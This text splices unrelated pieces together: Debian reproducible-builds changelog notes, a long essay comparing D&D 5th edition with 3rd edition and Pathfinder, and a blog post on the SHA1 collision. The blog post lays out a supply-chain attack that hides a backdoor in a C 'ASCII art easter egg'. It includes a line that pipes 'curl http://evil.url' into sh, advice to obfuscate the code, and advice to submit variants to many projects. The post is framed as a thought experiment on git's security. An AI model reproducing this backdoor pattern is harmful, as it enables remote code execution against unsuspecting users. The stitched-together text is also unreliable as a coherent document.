• Updated systemd's documentation to explain why we suggest explicitly calling make all despite the Makefile's "check" target calling it. (#5830)
• Updated the documentation of a breadth-first version of find(1) called bfs to refer to the newly-uploaded Debian package. (#23)
• Updated the configuration for the ticketbot IRC bot (zwiebelbot on OFTC) to identify #reproducible-builds as a Debian-related channel. This is so that bug Debian bug numbers are automatically expanded by the bot. (#7)

---

I ve been playing in a 5e campaign for around two months now. In the past ten days or so I ve been reading various source books and Internet threads regarding the design of 5th edition. I d like to draw some comparisons and contrasts between 5th edition, and the 3rd edition family of games (DnD 3.5e and Paizo s Pathfinder, which may be thought of as 3.75e). The first thing I d like to discuss is that wizards and clerics are no longer Vancian spellcasters. In rules terms, this is the idea that individual spells are pieces of ammunition. Spellcasters have a list of individual spells stored in their heads, and as they cast spells from that list, they cross off each item. Barring special rules about spontaneously converting prepared spells to healing spells, for clerics, the only way to add items back to the list is to take a night s rest. Contrast this with spending points from a pool of energy in order to use an ability to cast a fireball. Then the limiting factor on using spells is having enough points in your mana pool, not having further castings of the spell waiting in memory. One of the design goals of 5th edition was to reduce the dominance of spellcasters at higher levels of play. The article to which I linked in the previous paragraph argues that this rebalancing requires the removal of Vancian magic. The idea, to the extent that I ve understood it, is that Vancian magic is not an effective restriction on spellcaster power levels, so it is to be replaced with other restrictions adding new restrictions while retaining the restrictions inherent in Vancian magic would leave spellcasters crippled. A further reason for removing Vancian magic was to defeat the so-called five minute adventuring day . The compat ability of a party that contains higher level Vancian spellcasters drops significantly once they ve fired off their most powerful combat spells. So adventuring groups would find themselves getting into a fight, and then immediately retreating to fully rest up in order to get their spells back. This removes interesting strategic and roleplaying possibilities involving the careful allocation of resources, and continuing to fight as hit points run low. There are some other related changes. Spell components are no longer used up when casting a spell. So you can use one piece of bat guano for every fireball your character ever casts, instead of each casting requiring a new piece. Correspondingly, you can use a spell focus, such as a cool wand, instead of a pouch full of material components since the pouch never runs out, there s no mechanical change if a wizard uses an arcane focus instead. 0th level spells may now be cast at will (although Pathfinder had this too). And there are decent 0th level attack spells, so a spellcaster need not carry a crossbow or shortbow in order to have something to do on rounds when it would not be optimal to fire off one of their precious spells. I am very much in favour of these design goals. The five minute adventuring day gets old fast, and I want it to be possible for the party to rely on the cool abilities of non-spellcasters to deal with the challenges they face. However, I am concerned about the flavour changes that result from the removal of Vancian magic. These affect wizards and clerics differently, so I ll take each case in turn. Firstly, consider wizards. In third edition, a wizard had to prepare and cast Read Magic (the only spell they could prepare without a spellbook), and then set about working through their spellbook. This involved casting the spells they wanted to prepare, up until the last few triggering words or gestures that would cause the effect of the spell to manifest. They would commit these final parts of the spell to memory. When it came to casting the spell, the wizard would say the final few words and make the required gestures, and bring out relevant material components from their component pouch. The completed spell would be ripped out of their mind, to manifest its effect in the world. We see that the casting of a spell is a highly mentally-draining activity it rips the spell out of the caster s memory! not to be undertaken lightly. Thus it is natural that a wizard would learn to use a crossbow for basic damage-dealing. Magic is not something that comes very naturally to the wizard, to be deployed in combat as readily as the fighter swings their sword. They are not a superhero or video game character, pew pew ing their way to victory. This is a very cool starting point upon which to roleplay an academic spellcaster, not really available outside of tabletop games. I see it as a distinction between magical abilities and real magic. Secondly, consider clerics. Most of the remarks in the previous paragraph apply, suitably reworked to be in terms of requesting certain abilities from the deity to whom the cleric is devoted. Additionally, there is the downgrading of the importance of the cleric s healing magic in 5th edition. Characters can heal themselves by taking short and long rests. Previously, natural healing was very slow, so a cleric would need to convert all their remaining magic to healing spells at the end of the day, and hope that it was enough to bring the party up to fighting shape. Again, this made the party of adventurers seem less like superheroes or video game characters. Magic had a special, important and unique role, that couldn t be replaced by the abilities of other classes. I would like to find ways to restore the feel and flavour of Vancian clerics and wizards to 5th edition, without sacrificing the improvements that have been made that let other party members do cool stuff too. I hope it is possible to keep magic cool and unique without making it dominate the game. It would be easy to forbid the use of arcane foci, and say that material component pouches run out if the party do not visit a suitable marketplace often enough. This would not have a significant mechanical effect, and could enhance roleplaying possibilities. I am not sure how I could deal with the other issues I ve discussed without breaking the game. The second thing I would like to discuss is bounded accuracy. Under this design principle, the modifiers to dice rolls grow much more slowly. The gain of hit points remains unbounded. Under third edition, it was mechanically impossible for a low-level monster to land a hit on a higher-level adventurer, rendering them totally useless even in overwhelming numbers. With bounded accuracy, it s always possible for a low-level monster to hit a PC, even if they do insigificant damage. That means that multiple low-level monsters pose a threat. This change opens up many roleplaying opportunities by keeping low-level character abilities relevant, as well as monster types that can remain involves in stories without giving them implausible new abilities so they don t fall far behind the PCs. However, I m a little worried that it might make high level player characters feel a lot less powerful to play. I want to cease a be a fragile adventurer and become a world-changing hero at later levels, rather than forever remain vulnerable to the things that I was vulnerable to at the start of the game. This desire might just be the result of the video games which I played growing up. In the JRPGs I played and in Diablo II, enemies in earlier areas of the map were no threat at all once you d levelled up by conquering higher-level areas. My concerns about bounded accuracy might just be that it clashes with my own expectations of how fantasy heroes work. A good DM might be able to avoid these worries entirely. The final thing I d like to discuss is the various simplifications to the rules of 5th edition, when it is compared with 3rd edition and Pathfinder. Attacks of opportunity are only provoked when leaving a threatened square; you can go ahead and cast a spell when in melee with someone. There is a very short list of skills, and party members are much closer to each other in skills, now that you can t pump more and more ranks into one or two abilities. Feats as a whole are an optional rule. At first I was worried about these simplifications. I thought that they might make character building and tactics in combat a lot less fun. However, I am now broadly in favour of all of these changes, for two reasons. Firstly, they make the game so much more accessible, and make it far more viable to play without relying on a computer program to fill in the boxes on your character sheet. In my 5th edition group, two of us have played 3rd edition games, and the other four have never played any tabletop games before. But nobody has any problems figuring out their modifiers because it is always simply your ability bonus or penalty, plus your proficiency bonus if relevant. And advantage and disadvantage is so much more fun than getting an additional plus or minus two. Secondly, these simplifications downplay the importance of the maths, which means it is far less likely to be broken. It is easier to ensure that a smaller core of rules is balanced than it is to keep in check a larger mass of rules, constantly being supplemented by more and more addon books containing more and more feats and prestige classes. That means that players make their characters cool by roleplaying them in interesting ways, not making them cool by coming up with ability combos and synergies in advance of actually sitting down to play. Similarly, DMs can focus on flavouring monsters, rather than writing up longer stat blocks. I think that this last point reflects what I find most worthwhile about tabletop RPGs. I like characters to encounter cool NPCs and cool situations, and then react in cool ways. I don t care that much about character creation. (I used to care more about this, but I think it was mainly because of interesting options for magic items, which hasn t gone away.) The most important thing is exercising group creativity while actually playing the game, rather than players and DMs having to spend a lot of time preparing the maths in advance of playing. Fifth edition enables this by preventing the rules from getting in the way, because they re broken or overly complex. I think this is why I love Exalted: stunting is vital, and there is social combat. I hope to be able to work out a way to restore Vancian magic, but even without that, on balance, fifth edition seems like a better way to do group storytelling about fantasy heroes. Hopefully I will have an opportunity to DM a 5th edition campaign. I am considering disallowing all homebrew and classes and races from supplemental books. Stick to the well-balanced core rules, and do everything else by means of roleplaying and flavour. This is far less gimmicky, if more work for unimaginative players (such as myself!). Some further interesting reading:

• Rules versus rulings over the five editions
• Threat creation using bounded accuracy
• Pathfinder vs. 5e on reddit
• Pathfinder vs. 5e on StackExchange this claims that 5e is like 2e in being low fantasy, with constant character deaths and thus little longterm character development, but this has not been my experience so far
• On the Defining Characteristic of 5th Edition

Happy SHA1 collision day everybody! If you extract the differences between the good.pdf and bad.pdf attached to the paper, you'll find it all comes down to a small ~128 byte chunk of random-looking binary data that varies between the files. The SHA1 attack announced today is a common-prefix attack. The common prefix that we will use is this:

/* ASCII art for easter egg. */
char *amazing_ascii_art="\

(To be extra sneaky, you can add a git blob object header to that prefix before calculating the collisions. Doing so will make the SHA1 that git generates when checking in the colliding file be the thing that collides. This makes it easier to swap in the bad file later on, because you can publish a git repository containing it, and trick people into using that repository. ("I put a mirror on github!") The developers of the program will have the good version in their repositories and not notice that users are getting the bad version.) Suppose that the attack was able to find collisions using only printable ASCII characters when calculating those chunks. The "good" data chunk might then look like this:

7*yLN#!NOKj@ FPKW".<i+sOCsx9QiFO0UR3ES*Eh]g6r/anP=bZ6&IJ#cOS.w;oJkVW"<*.!,qjRht?+^=^/Q*Is0K>6F)fc(ZS5cO#"aEavPLI[oI(kF_l!V6ycArQ

And the "bad" data chunk like this:

9xiV^Ksn=<A!<^ l4~ uY2x8krnY@JA<<FA0Z+Fw!;UqC(1_ZA^fu#e Z>w_/S?.5q^!WY7VE>gXl.M@d6]a*jW1eY(Qw(r5(rW8G)?Bt3UT4fas5nphxWPFFLXxS/xh

Now we need an ASCII artist. This could be a human, or it could be a machine. The artist needs to make an ASCII art where the first line is the good chunk, and the rest of the lines obfuscate how random the first line is. Quick demo from a not very artistic ASCII artist, of the first 10th of such a picture based on the "good" line above:

7*yLN#!NOK
3*\LN'\NO@
3*/LN  \.A
5*\LN   \.
>=======:)
5*\7N   /.
3*/7N  /.V
3*\7N'/NO@
7*y7N#!NOX

Now, take your ASCII art and embed it in a multiline quote in a C source file, like this:

/* ASCII art for easter egg. */
char *amazing_ascii_art="\
7*yLN#!NOK \
3*\\LN'\\NO@ \
3*/LN  \\.A \ 
5*\\LN   \\. \
>=======:) \
5*\\7N   /. \
3*/7N  /.V \
3*\\7N'/NO@ \
7*y7N#!NOX";
/* We had to escape backslashes above to make it a valid C string.
 * Run program with --easter-egg to see it in all its glory.
 */
/* Call this at the top of main() */
check_display_easter_egg (char **argv)  
    if (strcmp(argv[1], "--easter-egg") == 0)
        printf(amazing_ascii_art);
    if (amazing_ascii_art[0] == "9")
        system("curl http://evil.url   sh");
 

Now, you need a C ofuscation person, to make that backdoor a little less obvious. (Hint: Add code to to fix the newlines, paint additional ASCII sprites over top of the static art, etc, add animations, and bury the shellcode in there.) After a little work, you'll have a C file that any project would like to add, to be able to display a great easter egg ASCII art. Submit it to a project. Submit different versions of it to 100 projects! Everything after line 3 can be edited to make lots of different versions targeting different programs. Once a project contains the first 3 lines of the file, followed by anything at all, it contains a SHA1 collision, from which you can generate the bad version by swapping in the bad data chuck. You can then replace the good file with the bad version here and there, and noone will be the wiser (except the easter egg will display the "bad" first line before it roots them). Now, how much more expensive would this be than today's SHA1 attack? It needs a way to generate collisions using only printable ASCII. Whether that is feasible depends on the implementation details of the SHA1 attack, and I don't really know. I should stop writing this blog post and read the rest of the paper. You can pick either of these two lessons to take away:

1. ASCII art in code is evil and unsafe. Avoid it at any cost. apt-get moo
2. Git's security is getting broken to the point that ASCII art (and a few hundred thousand dollars) is enough to defeat it.

---

My work today investigating ways to apply the SHA1 collision to git repos (not limited to this blog post) was sponsored by Thomas Hochstein on Patreon.